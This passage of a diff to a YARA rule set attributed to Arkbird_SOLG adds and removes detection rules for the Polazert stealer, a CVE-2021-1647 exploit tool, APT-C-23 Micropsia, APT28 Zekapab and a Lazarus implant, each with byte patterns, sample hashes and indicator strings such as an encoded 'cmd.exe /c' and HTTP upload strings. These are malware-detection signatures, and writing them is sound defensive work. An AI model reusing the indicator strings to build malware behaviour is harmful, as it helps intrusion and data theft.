01 00 00 68 03 01 00 00 8d 85 f1 fe ff ff 6a 00 50 c6 85 f0 fe ff ff 00 e8 3c 33 00 00 83 c4 0c ba 01 00 00 00 6a 00 6a 01 8d 8d f0 fe ff ff e8 55 f7 ff ff 83 c4 08 8d 55 08 8d 8d e4 fe ff ff e8 94 f6 ff ff 8d bd f0 fe ff ff 8d 4f 01 8a 07 47 84 c0 75 f9 8b 75 08 2b f9 8d 04 37 50 6a 08 89 85 e0 fe ff ff ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 57 8d 8d f0 fe ff ff 51 50 89 85 d0 fe ff ff e8 62 6e 00 00 8b 85 d0 fe ff ff 83 c4 0c 03 c7 56 8b b5 e4 fe ff ff 56 50 e8 49 6e 00 00 83 c4 0c 56 6a 00 ff 15 b4 b0 00 10 50 a1 b8 b0 00 10 ff d0 57 8d 85 f0 fe ff ff 6a 00 50 e8 96 32 00 00 83 c4 0c 8d 8d d4 fe ff ff 6a 01 ff b5 e0 fe ff ff ff b5 d0 fe ff ff e8 8a f3 ff ff 85 c0 0f 84 7c 03 00 00 8b 85 d4 fe ff ff 8b 3d e8 b1 00 10 85 c0 74 03 50 ff d7 8b 85 d8 fe ff ff 85 }
+		$s2 = { 33 d2 8b c1 b9 00 00 20 00 f7 f1 33 c9 89 8d e4 fe ff ff 3b ca 89 95 b8 fe ff ff 1b d2 f7 da 03 d0 89 95 c4 fe ff ff 0f 84 98 02 00 00 8b ff 8b b5 b8 fe ff ff 85 f6 74 09 8d 42 ff 8b fe 3b c8 74 05 bf 00 00 20 00 57 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 8b 8d e4 fe ff ff 0f af cf 03 8d d0 fe ff ff 57 8b f0 51 56 89 b5 ec fe ff ff e8 c9 6c 00 00 83 c4 0c 8d 85 f1 fe ff ff 68 03 01 00 00 6a 00 50 c6 85 f0 fe ff ff 00 e8 1c 31 00 00 8b 85 e4 fe ff ff 83 c4 0c 40 6a 00 ff b5 c4 fe ff ff 8b d0 8d 8d f0 fe ff ff 89 85 e4 fe ff ff e8 27 f5 ff ff 83 c4 08 8d 85 e0 fe ff ff 50 6a 00 6a 01 57 56 c7 85 e0 fe ff ff 00 00 00 00 ff 15 24 b0 00 10 85 c0 74 4c ff b5 e0 fe ff ff 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 8b f0 8d 85 e0 fe ff ff 50 56 6a 01 57 8b bd ec fe ff ff 57 ff 15 24 b0 00 10 57 6a 00 ff 15 b4 b0 00 10 50 a1 b8 b0 00 10 ff d0 8b bd e0 fe ff ff 89 b5 ec fe ff ff 8d b5 f0 fe ff ff 8d 4e 01 8a 06 46 84 c0 75 f9 2b f1 8d 04 3e 50 6a 08 89 85 c8 fe ff ff ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 56 8d 8d f0 fe ff ff 51 50 89 85 bc fe ff ff e8 d8 6b 00 00 8b 8d bc fe ff ff 83 c4 0c 03 ce 57 8b bd ec fe ff ff 57 51 e8 bf 6b 00 00 83 c4 0c 57 6a 00 ff 15 b4 b0 00 10 50 ff 15 b8 b0 00 10 56 8d 85 f0 fe ff ff 6a 00 50 e8 0d 30 00 00 8b b5 c0 fe ff ff 8b bd bc fe ff ff 83 c4 0c 8d 8d d4 fe ff ff 56 ff b5 c8 fe ff ff 57 e8 fb f0 ff ff 85 c0 0f 84 c9 00 00 00 85 f6 0f 84 c1 00 00 00 8b 85 d4 fe ff ff 8b 35 e8 b1 00 10 85 }
+		$s3 = { 55 8b ec 83 e4 f8 81 ec 34 02 00 00 a1 00 00 01 10 33 c4 89 84 24 30 02 00 00 53 56 57 6a ff ff 35 28 1b 01 10 ff 15 4c b0 00 10 ff 35 28 1b 01 10 ff 15 80 b0 00 10 8b 35 b8 b0 00 10 8b 3d b4 b0 00 10 8d 44 24 10 50 8d 54 24 10 c7 44 24 10 00 00 00 00 c7 44 24 14 00 00 00 00 e8 df 0a 00 00 8b 4c 24 14 83 c4 04 85 c9 0f 84 e6 02 00 00 8b 54 24 0c 33 c0 33 db c7 44 24 20 00 00 00 00 89 44 24 1c 85 c9 0f 84 c2 02 00 00 8d 64 24 00 8b 34 13 8d 04 13 56 6a 08 ff d7 50 ff 15 ec b0 00 10 8b c8 8b 44 24 0c 83 c0 04 56 03 c3 50 51 89 4c 24 24 e8 a7 7e 00 00 8b 44 24 18 03 c3 83 c4 0c 8b 44 06 04 50 6a 08 89 44 24 1c ff d7 50 ff 15 ec b0 00 10 ff 74 24 14 8b f8 8b 44 24 10 03 c3 83 c6 08 03 c6 50 57 e8 72 7e 00 00 83 c4 0c 68 04 01 00 00 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 68 00 00 00 f0 6a 18 6a 00 8b f0 6a 00 8d 44 24 34 50 c7 44 24 38 00 00 00 00 c7 44 24 3c 00 00 00 00 ff 15 18 b0 00 10 }
+		$s4 = { ff 15 a4 b0 00 10 8d 44 24 28 50 6a 00 6a 00 68 0c 80 00 00 ff 74 24 34 ff 15 14 b0 00 10 ff 15 a4 b0 00 10 6a 00 ff 74 24 18 57 ff 74 24 34 ff 15 0c b0 00 10 ff 15 a4 b0 00 10 6a 00 8d 44 24 30 50 56 6a 02 ff 74 24 38 c7 44 24 40 04 01 00 00 ff 15 10 b0 00 10 ff 74 24 28 ff 15 00 b0 00 10 6a 00 ff 74 24 28 ff 15 04 b0 00 10 8b 54 24 2c 8b 44 24 18 }
+		$s5 = { 50 68 04 01 00 00 ff 15 a8 b0 00 10 8d 44 24 30 50 ff 15 a0 b1 00 10 68 18 ee 00 10 8d 44 24 34 50 ff 15 9c b0 00 10 b8 4d 5a 00 00 66 39 07 0f 85 b2 00 00 00 6a 00 68 80 00 00 00 6a 04 6a 00 6a 02 68 00 00 00 40 8d 44 24 48 50 ff 15 40 b0 00 10 8b f0 ff 15 a4 b0 00 10 83 fe }
+		$s6 = { 6a 00 8d 44 24 28 50 ff 74 24 1c c7 44 24 30 00 00 00 00 57 56 ff 15 38 b0 00 10 56 ff 15 44 b0 00 10 68 80 00 00 00 8d 44 24 34 50 ff 15 48 b0 00 10 8d 44 24 30 50 ff 15 a4 b1 00 10 85 c0 74 2d 8d 44 24 30 50 ff 15 b0 b0 00 10 8b f0 6a 01 56 ff 15 a0 b0 00 10 8d 4c 24 20 51 a3 20 1b 01 10 ff d0 56 89 44 24 20 ff 15 f4 b0 00 10 e8 ad f3 ff ff 57 8b 3d b4 b0 00 10 6a 00 ff d7 8b 35 b8 b0 00 10 50 ff d6 ff 74 24 18 6a 00 ff d7 50 ff d6 8b 44 24 1c 85 c0 74 12 8b 54 24 20 50 b9 4c ef 00 10 e8 77 0c 00 00 83 c4 04 8b 54 24 0c 8b 0c 13 8d 04 13 8d 04 19 83 c3 08 8b 44 10 04 03 c1 03 d8 3b 5c 24 10 0f 82 42 fd ff ff 52 6a 00 ff d7 50 ff d6 68 00 dd 6d 00 ff 35 28 1b 01 10 ff 15 4c b0 00 10 85 c0 0f 85 d4 fc ff ff }
+
+	condition:
+		uint16(0)==0x5a4d and filesize >40KB and 5 of ($s*)
+}
+rule ARKBIRD_SOLG_MAL_Polazert_Apr_2021_1 : FILE
+{
+	meta:
+		description = "Detect Polazert stealer"
+		author = "Arkbird_SOLG"
+		id = "c7766749-558f-50b8-9054-01f5c4e1238b"
+		date = "2021-04-11"
+		modified = "2021-04-11"
+		reference = "https://bazaar.abuse.ch/browse/tag/Polazert/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-11/Polazert/MAL_Polazert_Apr_2021_1.yar#L1-L21"
+		license_url = "N/A"
+		logic_hash = "29cefeb3816435e70c706ac78395738f075f6c9f81d63e7295b0d8a6f370b51d"
+		score = 75
+		quality = 75
+		tags = "FILE"
+
+	strings:
+		$seq1 = { 73 ?? 00 00 0a 13 ?? 11 ?? 72 [2] 00 70 6f ?? 00 00 0a 00 11 ?? 72 [2] 00 70 11 ?? 72 [2] 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 00 11 ?? 17 6f ?? 00 00 0a 00 11 ?? 28 ?? 00 00 0a 26 }
+		$seq2 = { 1b 8d 0e 00 00 01 13 ?? 11 ?? 16 72 a1 03 00 70 a2 11 ?? 17 08 a2 11 ?? 18 72 53 03 00 70 a2 11 ?? 19 11 ?? a2 11 ?? 1a 72 e7 03 00 70 a2 11 ?? 28 47 00 00 0a 13 0a }
+		$seq3 = { 02 73 ?? 00 00 0a 28 ?? 00 00 0a 74 2a 00 00 01 [2-4] 72 65 01 00 70 6f ?? 00 00 0a 00 [1-2] 72 65 01 00 70 6f ?? 00 00 0a 00 [1-2] 72 87 01 00 70 6f ?? 00 00 0a 00 03 [1-2] 73 ?? 00 00 0a 13 }
+		$seq4 = { 1f 0f 8d ?? 00 00 01 13 ?? 11 ?? 16 72 ?? ?? 00 70 a2 11 ?? 17 [1-2] a2 11 ?? 18 72 [2] 00 70 a2 11 ?? 19 28 ?? 00 00 06 a2 11 ?? 1a 72 ?? ?? 00 70 a2 11 ?? 1b 28 ?? 00 00 06 a2 11 ?? 1c 72 ?? ?? 00 70 a2 11 ?? 1d 28 ?? 00 00 06 2d 07 72 ?? ?? 00 70 2b 05 72 ?? ?? 00 70 a2 11 ?? 1e 72 ?? ?? 00 70 a2 11 ?? 1f 09 28 ?? 00 00 06 2d 07 72 ?? ?? 00 70 2b 05 72 ?? ?? 00 70 a2 11 ?? 1f 0a 72 [2] 00 70 a2 11 ?? 1f 0b [1-2] 7b 01 00 00 04 a2 11 ?? 1f 0c 72 [2] 00 70 a2 11 ?? 1f 0d 28 ?? 00 00 06 a2 11 ?? 1f 0e 72 [2] 00 70 a2 11 ?? 28 ?? 00 00 0a 13 }
+		$seq5 = { 1f ?? 8d ?? 00 00 01 13 ?? 11 ?? 16 72 91 01 00 70 a2 11 ?? 17 1a 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 68 9d 11 ?? 17 1f 77 9d 11 ?? 18 1f 69 9d 11 ?? 19 1f 64 9d 11 ?? 28 ?? 00 00 06 a2 11 ?? 18 72 b7 01 00 70 a2 11 ?? 19 ?? [0-1] a2 11 ?? 1a 72 bf 01 00 70 a2 11 ?? 1b 28 ?? 00 00 06 a2 11 ?? 1c 72 db 01 00 70 a2 11 ?? 1d 28 ?? 00 00 06 a2 11 ?? 1e 72 f7 01 00 70 a2 11 ?? 1f 09 28 ?? 00 00 06 2d 07 72 0d 02 00 70 2b 05 72 15 02 00 70 a2 11 ?? 1f 0a 72 1d 02 00 70 a2 11 ?? 1f 0b 28 ?? 00 00 06 2d 07 72 37 02 00 70 2b 05 72 41 02 00 70 a2 11 ?? 1f 0c 72 4d 02 00 70 a2 11 ?? 1f 0d ?? 7b ?? 00 00 04 a2 11 ?? 1f 0e 72 69 02 00 70 a2 11 ?? 1f 0f 1f 09 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 77 9d 11 ?? 17 1f 6f 9d 11 ?? 18 1f 72 9d 11 ?? 19 1f 6b 9d 11 ?? 1a 1f 67 9d 11 ?? 1b 1f 72 9d 11 ?? 1c 1f 6f 9d 11 ?? 1d 1f 75 9d 11 ?? 1e 1f 70 9d 11 ?? 28 ?? 00 00 06 a2 11 ?? 1f 10 72 b7 01 00 70 a2 11 ?? 1f 11 28 ?? 00 00 06 a2 11 ?? 1f 12 72 71 02 00 70 a2 11 ?? 1f 13 1f 14 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 77 9d 11 ?? 17 1f 69 9d 11 ?? 18 1f 6e 9d 11 ?? 19 1f 33 9d 11 ?? 1a 1f 32 9d 11 ?? 1b 1f 5f 9d 11 ?? 1c 1f 63 9d 11 ?? 1d 1f 6f 9d 11 ?? 1e 1f 6d 9d 11 ?? 1f 09 1f 70 9d 11 ?? 1f 0a 1f 75 9d 11 ?? 1f 0b 1f 74 9d 11 ?? 1f 0c 1f 65 9d 11 ?? 1f 0d 1f 72 9d 11 ?? 1f 0e 1f 73 9d 11 ?? 1f 0f 1f 79 9d 11 ?? 1f 10 1f 73 9d 11 ?? 1f 11 1f 74 9d 11 ?? 1f 12 1f 65 9d 11 ?? 1f 13 1f 6d 9d 11 ?? 28 ?? 00 00 06 1c 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 64 9d 11 ?? 17 1f 6f 9d 11 ?? 18 1f 6d 9d 11 ?? 19 1f 61 9d 11 ?? 1a 1f 69 9d 11 ?? 1b 1f 6e 9d 11 ?? 28 ?? 00 00 06 28 ?? 00 00 06 a2 11 ?? 1f 14 72 69 02 00 70 a2 11 ?? 1f 15 19 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 64 9d 11 ?? 17 1f 6e 9d 11 ?? 18 1f 73 9d 11 ?? 28 ?? 00 00 06 a2 11 ?? 1f 16 72 79 02 00 70 a2 11 ?? 1f 17 1f 14 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 77 9d 11 ?? 17 1f 69 9d 11 ?? 18 1f 6e 9d 11 ?? 19 1f 33 9d 11 ?? 1a 1f 32 9d 11 ?? 1b 1f 5f 9d 11 ?? 1c 1f 63 9d 11 ?? 1d 1f 6f 9d 11 ?? 1e 1f 6d 9d 11 ?? 1f 09 1f 70 9d 11 ?? 1f 0a 1f 75 9d 11 ?? 1f 0b 1f 74 9d 11 ?? 1f 0c 1f 65 9d 11 ?? 1f 0d 1f 72 9d 11 ?? 1f 0e 1f 73 9d 11 ?? 1f 0f 1f 79 9d 11 ?? 1f 10 1f 73 9d 11 ?? 1f 11 1f 74 9d 11 ?? 1f 12 1f 65 9d 11 ?? 1f 13 1f 6d 9d 11 ?? 28 ?? 00 00 06 1f 0c 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 70 9d 11 ?? 17 1f 61 9d 11 ?? 18 1f 72 9d 11 ?? 19 1f 74 9d 11 ?? 1a 1f 6f 9d 11 ?? 1b 1f 66 9d 11 ?? 1c 1f 64 9d 11 ?? 1d 1f 6f 9d 11 ?? 1e 1f 6d 9d 11 ?? 1f 09 1f 61 9d 11 ?? 1f 0a 1f 69 9d 11 ?? 1f 0b 1f 6e 9d 11 ?? 28 ?? 00 00 06 28 ?? 00 00 06 6f ?? 00 00 0a 72 7f 02 00 70 28 ?? 00 00 0a 2d 07 72 8b 02 00 70 2b 05 72 8f 02 00 70 a2 11 ?? 1f 18 }
+		$seq6 = { 13 30 02 00 2d 00 00 00 ?? 00 00 11 00 72 ?? ?? 00 70 28 ?? 00 00 0a 28 ?? 00 00 0a 73 ?? 00 00 0a 0a 06 72 ?? ?? 00 70 6f ?? 00 00 0a 0b 07 6f ?? 00 00 0a }
+		$seq7 = { 8d ?? 00 00 01 13 ?? 11 ?? 16 72 [2] 00 70 a2 11 ?? 17 [1-2] a2 11 ?? 18 72 [2] 00 70 a2 11 ?? 19 [2] a2 11 ?? 1a 72 [2] 00 70 a2 11 }
+		$seq8 = { 12 ?? 28 ?? 00 00 06 0f 00 28 ?? 00 00 06 d0 ?? 00 00 1b 28 ?? 00 00 0a 28 ?? 00 00 0a a5 ?? 00 00 1b [1-2] 2b 00 [1-2] 2a }
+		$seq9 = { 1f 10 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 47 9d 11 ?? 17 1f 65 9d 11 ?? 18 1f 74 9d 11 ?? 19 1f 54 9d 11 ?? 1a 1f 68 9d 11 ?? 1b 1f 72 9d 11 ?? 1c 1f 65 9d 11 ?? 1d 1f 61 9d 11 ?? 1e 1f 64 9d 11 ?? 1f 09 1f 43 9d 11 ?? 1f 0a 1f 6f 9d 11 ?? 1f 0b 1f 6e 9d 11 ?? 1f 0c 1f 74 9d 11 ?? 1f 0d 1f 65 9d 11 ?? 1f 0e 1f 78 9d 11 ?? 1f 0f 1f 74 9d 11 ?? 28 97 00 00 06 28 09 00 00 2b 13 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >20KB and 3 of ($seq*)
+		uint16(0)==0x5a4d and filesize >15KB and 3 of them
 }
-import "pe"
-
-rule ARKBIRD_SOLG_APT28_Zekapab_June_2020_1 : FILE
+rule ARKBIRD_SOLG_EXP_CVE_2021_1647_Apr_2021_1 : CVE_2021_1647 FILE
 {
 	meta:
-		description = "Detect Delphi variant of Zekapab"
+		description = "Detect CVE-2021-1647 tool "
 		author = "Arkbird_SOLG"
-		id = "cf87e67f-2db9-537d-8800-8cd47b47c276"
-		date = "2020-06-28"
-		modified = "2020-06-28"
-		reference = "https://twitter.com/DrunkBinary/status/1276573779037163520"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-28/APT28_Zekapab_June_2020_1.yar#L3-L29"
+		id = "c4c14d22-adf8-51b1-b898-7e253447824f"
+		date = "2021-05-04"
+		modified = "2021-05-05"
+		reference = "-"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-04/CVE-2021-1647/EXP_CVE_2021_1647_Apr_2021_1.yara#L1-L18"
 		license_url = "N/A"
-		logic_hash = "a02a78b8f60cf9d4441cc18b70fd00ec89253a5feafdc0eb392486b575bc61e2"
+		logic_hash = "58f16973f68b1b792f6f1575b6a3f386493d033767ee97e48a33044e3ddc3426"
 		score = 75
-		quality = 25
-		tags = "FILE"
-		hash1 = "12879b9d8ae046ca2f2ebcc7b1948afc44e6e654b7f4746e7a5243267cfd7c46"
+		quality = 75
+		tags = "CVE-2021-1647, FILE"
+		hash1 = "6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788"
+		hash2 = "9eaea8a56c47524f6d6b2e2bb72d035c1aa782a4f069ef9df92a0af5c6ee612b"
+		hash3 = "db0e53c9db41d4de21f4bbf1f60d977f5d935239d3fce8b902e8ef0082796cc7"
+		hash4 = "24d9ff44affea06435829507e8e6cb4b659468aa2af510031ed963caf5a6d77a"
+		tlp = "Green"
+		adversary = "-"
 
 	strings:
-		$s1 = "54484520494E535452554354494F4E2041542030783763663538326164205245464552454E434544204D454D4F525920415420307830303030303030302E2054" ascii
-		$s2 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii
-		$s3 = "5C4164646974696F6E735C73616D636C69656E742E657865" ascii
-		$s4 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\FontSubstitutes" fullword ascii
-		$s5 = "\\SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\" fullword ascii
-		$s6 = "Software\\Borland\\Delphi\\Locales" fullword ascii
-		$s7 = "SOFTWARE\\Borland\\Delphi\\RTL" fullword ascii
-		$s8 = "Software\\Borland\\Locales" fullword ascii
-		$s9 = "FastMM Borland Edition" fullword ascii
-		$s10 = "#7@Qhq\\1@NWgyxeH\\_bpdgc" fullword ascii
-		$s11 = "4150504C49434154494F4E204552524F52" ascii
-		$s12 = "436D442E457865202F6320" ascii
-		$s13 = "6572726F72" ascii
-		$s14 = "WndProcPtr" fullword ascii
-		$s15 = "Request.UserAgent" fullword ascii
-		$s16 = "ProxyPassword<" fullword ascii
+		$seq1 = { 83 7d ec 01 0f 8e fe 76 ff ff 83 45 f4 01 83 7d f4 01 0f 8e e4 76 ff ff 8b 45 e4 89 04 24 e8 12 74 ff ff 83 ec 04 a1 [2] 01 b1 85 c0 75 0e 8b 45 e4 89 04 24 e8 fb 73 ff ff 83 ec 04 a1 28 ?? 01 b1 c7 44 24 04 00 00 00 00 c7 04 24 00 00 00 00 ff d0 83 ec 08 b8 00 00 00 00 c9 c2 04 00 55 89 e5 83 ec 10 c7 45 f4 00 ?? 01 70 8b 45 08 83 e8 01 a3 70 ?? 01 b1 c7 05 74 ?? 01 b1 00 00 00 00 c7 05 a0 ?? 02 b1 00 00 00 00 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 }
+		$seq2 = { a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 75 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc c7 45 f8 00 00 00 00 eb 19 8b 45 f8 05 e2 ff ff 7f 8d 14 00 8b 45 fc 01 d0 66 c7 00 01 00 83 45 f8 01 83 7d f8 3b 7e e1 8b 45 fc }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="dbdfe8b60c1de0a9201044b3e91b9502" or 12 of them )
+		filesize >10KB and all of them
 }
-import "pe"
-
-rule ARKBIRD_SOLG_APT_NK_Lazarus_Implant_June_2020_1 : FILE
+rule ARKBIRD_SOLG_APT_APT_C_23_Micropsia_Mar_2021_2 : FILE
 {
 	meta:
-		description = "Detect Lazarus implant June 2020"
+		description = "Detect Micropsia used by APT-C-23 (Build 2020)"
 		author = "Arkbird_SOLG"
-		id = "602c33f2-1e34-5267-9154-ada2d6edc64b"
-		date = "2020-06-28"
-		modified = "2020-06-28"
-		reference = "https://twitter.com/ccxsaber/status/1277064824434745345"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-28/APT_NK_Lazarus_Implant_June_2020_1.yar#L3-L23"
+		id = "cdd95b35-09b4-5412-bd86-55c2e7523d3e"
+		date = "2021-03-31"
+		modified = "2021-03-31"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-31/APT-C-23/APT_APT_C_23_Micropsia_Mar_2021_2.yar#L1-L26"
 		license_url = "N/A"
-		logic_hash = "29b6b8d3bdd47707854ed0dc00808d6352934950a8e7244450df78422ff3cb15"
-		score = 75
-		quality = 73
+		logic_hash = "a00091161ec69c9885e983117e2b424f860bfbab2551ea23b74c37fc062850b9"
+		score = 50
+		quality = 75
 		tags = "FILE"
-		hash1 = "21afaceee5fab15948a5a724222c948ad17cad181bf514a680267abcce186831"
+		hash1 = "d9b938d89a13620aabe81e0a9d02778cad8658cbfd6f15e7dab47b1118b53237"
+		hash2 = "42f40fb2e4f971807fcb771c9aacc5a2361fdcdaf3eaafc31b22096d81dd0666"
+		level = "experimental"
 
 	strings:
-		$s1 = "Upgrade.exe" fullword ascii
-		$s2 = "ver=%d&timestamp=%lu" fullword ascii
-		$s3 = "_update.php" fullword ascii
-		$s4 = "Dorusio Wallet 2.1.0 (Check Update Windows)" fullword wide
-		$s5 = "Content-Type: application/x-www-form-urlencoded" fullword ascii
-		$s6 = "CONOUT$" fullword ascii
-		$s7 = "D$8fD;i" fullword ascii
-		$s8 = "WinHttpOpenRequest" fullword ascii
-		$s9 = "HTTP/1.0" fullword ascii
-		$s10 = "POST" fullword ascii
+		$code1 = { 8d 45 f8 8b 15 90 c7 69 00 e8 1e 05 d5 ff c7 45 d0 00 00 00 00 c7 45 d4 00 00 00 00 8b 45 d8 8b 58 5c 85 db 74 22 8b c3 8b 10 ff 12 52 50 8b 45 d8 8b 40 5c e8 af 4b db ff 29 04 24 19 54 24 04 58 5a 89 45 d0 89 55 d4 6a 04 8d 45 d8 50 6a 2d 8b 45 d8 8b 80 a4 00 00 00 50 e8 59 cd ff ff c7 45 c4 02 00 00 00 6a 04 8d 45 c4 50 6a 3f 8b 45 d8 8b 80 a4 00 00 00 50 e8 3b cd ff ff c7 45 c4 01 00 00 00 6a 04 8d 45 c4 50 6a 3f 8b 45 d8 8b 80 a4 00 00 00 50 e8 1d cd ff ff 33 c0 5a 59 59 64 89 10 68 aa df 6b 00 8b 45 e8 e8 a0 }
+		$code2 = { 6a 00 8b 45 d0 50 6a 00 6a 00 6a 00 6a 00 8b 45 d8 8b 80 a4 00 00 00 50 e8 d1 cc ff ff 85 c0 75 19 8b 15 50 a7 6e 00 8b 4d e8 8b 45 ec e8 9c fc }
+		$code3 = { 8d 4d f4 8b 45 d4 8b 40 0c ba 01 00 00 00 8b 18 ff 53 0c 8b 45 d4 8b 50 10 a1 bc 1c 6f 00 e8 82 bc ff ff 8b 55 f4 a1 bc 1c 6f 00 e8 75 bc ff ff 8b 45 f4 ba f4 7c 6d 00 e8 a0 4c d3 ff 0f 85 cf 00 00 00 ba 08 7d 6d 00 a1 bc 1c 6f 00 e8 53 bc ff ff 33 c0 55 68 9a 76 6d 00 64 ff 30 64 89 20 33 c0 89 45 dc 8d 55 9c b8 38 7c 6d 00 e8 7b 86 d5 ff ff 75 9c 68 50 7c 6d 00 8d 55 98 b8 09 00 00 00 e8 c6 c4 ff ff ff 75 98 68 60 7c 6d 00 8d 45 dc ba 04 00 00 00 e8 91 4b d3 ff e8 c4 22 d5 ff dd 5d c0 9b ff 75 c4 ff 75 c0 8d 4d e0 8b 15 30 ab 6e 00 b8 70 7c 6d 00 e8 97 32 d5 ff 8b 45 d4 83 c0 14 }
+		$s1 = { 4a 00 50 00 45 00 47 00 20 00 49 00 6d 00 61 00 67 00 65 00 20 00 46 00 69 00 6c 00 65 00 25 00 53 00 63 00 68 00 65 00 6d 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 61 00 6c 00 72 00 65 00 61 00 64 00 79 00 20 00 72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 65 00 64 00 20 00 66 00 6f 00 72 00 20 00 25 00 73 }
+		$s2 = "Download start ." fullword wide
+		$s3 = "application/x-msdownload" fullword wide
+		$s4 = "Start Download File" fullword wide
+		$s5 = "getHttpDownload" fullword ascii
+		$s6 = "Download start ." fullword wide
+		$s7 = "-start" fullword wide
+		$s8 = "-Winapi.ImageHlp" fullword ascii
+		$s9 = "postHttpDownload" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and (pe.imphash()=="565005404f00b7def4499142ade5e3dd" or 6 of them )
+		uint16(0)==0x5a4d and filesize >50KB and 2 of ($code*) and 5 of ($s*)
 }
-rule ARKBIRD_SOLG_APT_APT_C_61_Dec_2021_1 : FILE
+rule ARKBIRD_SOLG_APT_APT_C_23_Micropsia_Mar_2021_1 : FILE
 {
 	meta:
-		description = "Detect similiar structures used in the APT-C-61 maldocs"
+		description = "Detect Micropsia used by APT-C-23 (Build 2018)"
 		author = "Arkbird_SOLG"
-		id = "48054d32-6613-5a54-b19c-8e9b8f747c14"
-		date = "2021-12-13"
-		modified = "2021-12-14"
+		id = "517a33bb-0214-588f-80e4-dc82f2552330"
+		date = "2021-03-31"
+		modified = "2021-03-31"
 		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-13/APT_APT_C_61_Dec_2021_1.yara#L1-L20"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-31/APT-C-23/APT_APT_C_23_Micropsia_Mar_2021_1.yar#L1-L24"
 		license_url = "N/A"
-		logic_hash = "be742a0ebc53f09872d5231cf367bb1e3ae04c1a70ce94610b6597e426eeb389"
-		score = 75
